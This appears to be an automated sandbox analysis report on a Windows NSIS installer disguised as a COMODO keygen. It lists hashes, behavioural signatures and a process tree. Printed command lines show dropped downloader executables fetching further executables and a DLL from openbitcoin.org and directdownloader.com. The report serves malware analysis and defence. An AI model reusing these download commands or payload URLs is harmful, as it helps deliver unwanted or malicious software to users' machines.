02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94

Analysis

max time kernel
151s
max time network
154s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
09-03-2024 17:20

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General

Target

02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe
Size

510KB
MD5

338b2173b98f93539b6e21b9d8167ff7
SHA1

35c459313eb2c5ed9a9a5e535c47728a8c9b76d3
SHA256

02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94
SHA512

cf8f3480bfe6d0d22980b04610244a8c493267606631d187b4a9ab27011a15ee49c2ac0321f680b4103bcb6f282c547635748b613a388880be80ff9009554b9c
SSDEEP

12288:9B38Xo6peEUBwXVwM9vylzdYvH7Aw5XoR0g46:9BsY8XVNCiH7j4RH

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
1972	downloaderSTUB.exe
3036	downloaderSTUB.exe
2688	downloaderSTUB.exe
3032	downloaderDDLR.exe
2620	downloaderOFFER0.exe
2676	preinstaller.exe

Loads dropped DLL 31 IoCs

pid	Process
2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe
2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe
2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe
2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe
2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe
2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe
3036	downloaderSTUB.exe
2620	downloaderOFFER0.exe
1972	downloaderSTUB.exe
2688	downloaderSTUB.exe
3032	downloaderDDLR.exe
3036	downloaderSTUB.exe
2620	downloaderOFFER0.exe
2688	downloaderSTUB.exe
1972	downloaderSTUB.exe
3032	downloaderDDLR.exe
2620	downloaderOFFER0.exe
3036	downloaderSTUB.exe
2688	downloaderSTUB.exe
1972	downloaderSTUB.exe
3032	downloaderDDLR.exe
3036	downloaderSTUB.exe
2620	downloaderOFFER0.exe
2688	downloaderSTUB.exe
1972	downloaderSTUB.exe
3032	downloaderDDLR.exe
3036	downloaderSTUB.exe
2620	downloaderOFFER0.exe
2688	downloaderSTUB.exe
1972	downloaderSTUB.exe
3032	downloaderDDLR.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x001f000000015c5b-12.dat	nsis_installer_1
behavioral1/files/0x001f000000015c5b-12.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2212 wrote to memory of 1972	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	28
PID 2212 wrote to memory of 1972	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	28
PID 2212 wrote to memory of 1972	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	28
PID 2212 wrote to memory of 1972	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	28
PID 2212 wrote to memory of 2688	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	29
PID 2212 wrote to memory of 2688	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	29
PID 2212 wrote to memory of 2688	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	29
PID 2212 wrote to memory of 2688	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	29
PID 2212 wrote to memory of 3036	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	30
PID 2212 wrote to memory of 3036	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	30
PID 2212 wrote to memory of 3036	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	30
PID 2212 wrote to memory of 3036	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	30
PID 2212 wrote to memory of 3032	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	31
PID 2212 wrote to memory of 3032	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	31
PID 2212 wrote to memory of 3032	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	31
PID 2212 wrote to memory of 3032	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	31
PID 2212 wrote to memory of 2620	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	32
PID 2212 wrote to memory of 2620	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	32
PID 2212 wrote to memory of 2620	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	32
PID 2212 wrote to memory of 2620	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	32
PID 2212 wrote to memory of 2676	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	33
PID 2212 wrote to memory of 2676	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	33
PID 2212 wrote to memory of 2676	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	33
PID 2212 wrote to memory of 2676	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	33
PID 2212 wrote to memory of 2676	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	33
PID 2212 wrote to memory of 2676	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	33
PID 2212 wrote to memory of 2676	2212	02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe	33

C:\Users\Admin\AppData\Local\Temp\02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe
"C:\Users\Admin\AppData\Local\Temp\02153789f17145ee577be1cda90513bb4ecd6851211c882ff58e46d9d7ae4e94.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1972
- C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2688
- C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3036
- C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3032
- C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2620
- C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\preinstaller.exe 0 "COMODO Internet Security 2012 5.9.221665.2197 Setup KeyGen" "Download"
  2⤵
  - Executes dropped EXE
  PID:2676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\downloaderSTUB.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
\Users\Admin\AppData\Local\Temp\7068b811451ac8830f45cd445715746e\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
\Users\Admin\AppData\Local\Temp\nsy46D1.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/2212-58-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download
memory/2676-59-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download